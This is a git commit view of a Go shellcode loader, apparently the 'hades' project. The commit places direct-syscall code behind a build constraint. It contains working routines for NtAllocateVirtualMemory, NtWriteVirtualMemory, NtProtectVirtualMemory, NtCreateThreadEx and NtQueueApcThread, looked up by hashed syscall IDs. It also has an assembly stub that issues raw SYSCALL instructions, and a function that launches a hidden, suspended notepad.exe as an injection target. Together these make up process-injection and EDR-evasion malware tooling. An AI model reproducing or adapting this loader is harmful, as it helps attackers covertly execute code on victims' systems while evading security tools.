feat!: include direct syscall logic only with build constraint

This commit is contained in:
f1zm0 2023-04-25 21:15:01 +02:00
parent 5bbe077a66
commit 0ec7c214a9
6 changed files with 182 additions and 40 deletions

View File

@ -1,3 +0,0 @@
package loader
func directSyscall(callid uint16, argh ...uintptr) (errcode uint32)

View File

@ -1,3 +1,5 @@
//go:build !direct_syscalls
package loader
import (
@ -106,33 +108,3 @@ func (l *Loader) NtQueueApcThread(hThread, baseAddr uintptr) (uintptr, error) {
return nullptr, nil
}
func (l *Loader) createSuspendedProcess() (*windows.ProcessInformation, error) {
var (
pi windows.ProcessInformation
si windows.StartupInfo
)
pCmdStr, err := windows.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe") // bad
if err != nil {
return nil, err
}
// might swap out for NtCreateUserProcess and syscall when I get the time
// to figure out how to setup all the required structs
if err = windows.CreateProcess(
nil,
pCmdStr,
nil,
nil,
false,
windows.CREATE_SUSPENDED|windows.CREATE_NO_WINDOW,
nil,
nil,
&si,
&pi,
); err != nil {
return nil, err
}
return &pi, nil
}

View File

@ -0,0 +1,35 @@
package loader
import (
"golang.org/x/sys/windows"
)
func (l *Loader) createSuspendedProcess() (*windows.ProcessInformation, error) {
var (
pi windows.ProcessInformation
si windows.StartupInfo
)
pCmdStr, err := windows.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe") // bad
if err != nil {
return nil, err
}
// might swap out for NtCreateUserProcess and syscall when I get the time
// to figure out how to setup all the required structs
if err = windows.CreateProcess(
nil,
pCmdStr,
nil,
nil,
false,
windows.CREATE_SUSPENDED|windows.CREATE_NO_WINDOW,
nil,
nil,
&si,
&pi,
); err != nil {
return nil, err
}
return &pi, nil
}

View File

@ -0,0 +1,121 @@
//go:build direct_syscalls
package loader
import (
"errors"
"fmt"
"github.com/f1zm0/hades/pkg/syscalls"
"github.com/f1zm0/acheron"
"golang.org/x/sys/windows"
)
var NT_SUCCESS = acheron.NT_SUCCESS
func (l *Loader) NtAllocateVirtualMemory(
hProc, baseAddr uintptr,
memSize int,
allocType, protectAttr uintptr,
) (uintptr, error) {
sc, _ := l.callProxy.GetSyscall(15141956341870172521)
if st := syscalls.DirectSyscall(
sc.SSN,
hProc, // ProcessHandle
ptr2ptr(&baseAddr), // BaseAddress
nullptr, // ZeroBits
ptr2ptr(&memSize), // RegionSize
allocType, // AllocationType
protectAttr, // Protect
); !NT_SUCCESS(st) {
return nullptr, fmt.Errorf("NtAllocateVirtualMemory failed: 0x%x", st)
}
return baseAddr, nil
}
func (l *Loader) NtWriteVirtualMemory(
hProc, baseAddr uintptr,
buf []byte,
numBytesToWrite int,
) (uintptr, error) {
numOfBytesWritten := 0
sc, _ := l.callProxy.GetSyscall(11082677680923502116)
if st := syscalls.DirectSyscall(
sc.SSN,
hProc, // ProcessHandle
baseAddr, // BaseAddress
ptr2ptr(&buf[0]), // Buffer
ptr(numBytesToWrite), // NumberOfBytesToWrite
ptr2ptr(&numOfBytesWritten), // NumberOfBytesWritten
); !NT_SUCCESS(st) {
return nullptr, fmt.Errorf("NtWriteVirtualMemory failed: 0x%x", st)
}
if numOfBytesWritten != numBytesToWrite {
return nullptr, errors.New(
"number of bytes written is not equal to number of bytes to write",
)
}
return nullptr, nil
}
func (l *Loader) NtProtectVirtualMemory(
hProc, baseAddr uintptr,
memSize int,
newProtect uintptr,
oldProtect uintptr,
) (uintptr, error) {
sc, _ := l.callProxy.GetSyscall(8024050266839726481)
if st := syscalls.DirectSyscall(
sc.SSN,
hProc, // ProcessHandle
ptr2ptr(&baseAddr), // BaseAddress
ptr2ptr(&memSize), // RegionSize
newProtect, // NewProtect
ptr2ptr(&oldProtect), // OldProtect
); !NT_SUCCESS(st) {
return nullptr, fmt.Errorf("NtProtectVirtualMemory failed: 0x%x", st)
}
return oldProtect, nil
}
func (l *Loader) NtCreateThreadEx(hThread, hProc, baseAddr uintptr) (uintptr, error) {
sc, _ := l.callProxy.GetSyscall(12013194309262373545)
if st := syscalls.DirectSyscall(
sc.SSN,
ptr2ptr(&hThread), // ThreadHandle
windows.GENERIC_EXECUTE, // DesiredAccess
nullptr, // ObjectAttributes
hProc, // ProcessHandle
baseAddr, // StartRoutine
nullptr, // Argument
0, // CreateFlags
0, // ZeroBits
0, // StackSize
0, // MaxStackSize
nullptr, // AttributeList
); !NT_SUCCESS(st) {
return nullptr, fmt.Errorf("NtCreateThreadEx failed: 0x%x", st)
}
return hThread, nil
}
func (l *Loader) NtQueueApcThread(hThread, baseAddr uintptr) (uintptr, error) {
sc, _ := l.callProxy.GetSyscall(14616308599774217599)
if st := syscalls.DirectSyscall(
sc.SSN,
hThread, // ThreadHandle
baseAddr, // ApcRoutine
nullptr, // ApcRoutineContext (optional)
nullptr, // ApcStatusBlock (optional)
nullptr, // ApcReserved (optional)
); !NT_SUCCESS(st) {
return nullptr, fmt.Errorf("NtQueueApcThread failed: 0x%x", st)
}
return nullptr, nil
}

View File

@ -1,14 +1,17 @@
#define maxargs 16
TEXT ·execSyscall(SB), $0-56
XORQ AX,AX
//go:build direct_syscalls
MOVW callid+0(FP), AX
#define maxargs 16
// func execDirectSyscall(callID uint16, argh ...uintptr) (errcode uint32)
TEXT ·execDirectSyscall(SB), $0-56
XORQ AX, AX
MOVW ssn+0(FP), AX
PUSHQ CX
//put variadic pointer into SI
MOVQ argh_base+8(FP),SI
//put variadic size into CX
PUSHQ CX
MOVQ argh_len+16(FP),CX
// SetLastError(0).
@ -28,9 +31,12 @@ TEXT ·execSyscall(SB), $0-56
// Copy args to the stack.
MOVQ SP, DI
CLD
REP
REP; MOVSQ
MOVQ SP, SI
//move the stack pointer????? why????
SUBQ $8, SP
loadregs:
// Load first 4 args into correspondent registers.
MOVQ 0(SI), CX
@ -48,10 +54,12 @@ loadregs:
MOVQ R9, X3
MOVQ CX, R10
// direct syscall
SYSCALL
ADDQ $((maxargs+1)*8), SP
// Return result.
POPQ CX
MOVL AX, errcode+32(FP)
RET

9
pkg/syscalls/stubs.go Normal file
View File

@ -0,0 +1,9 @@
//go:build direct_syscalls
package syscalls
func execDirectSyscall(ssn uint16, argh ...uintptr) (errcode uint32)
func DirectSyscall(ssn uint16, argh ...uintptr) uint32 {
return execDirectSyscall(ssn, argh...)
}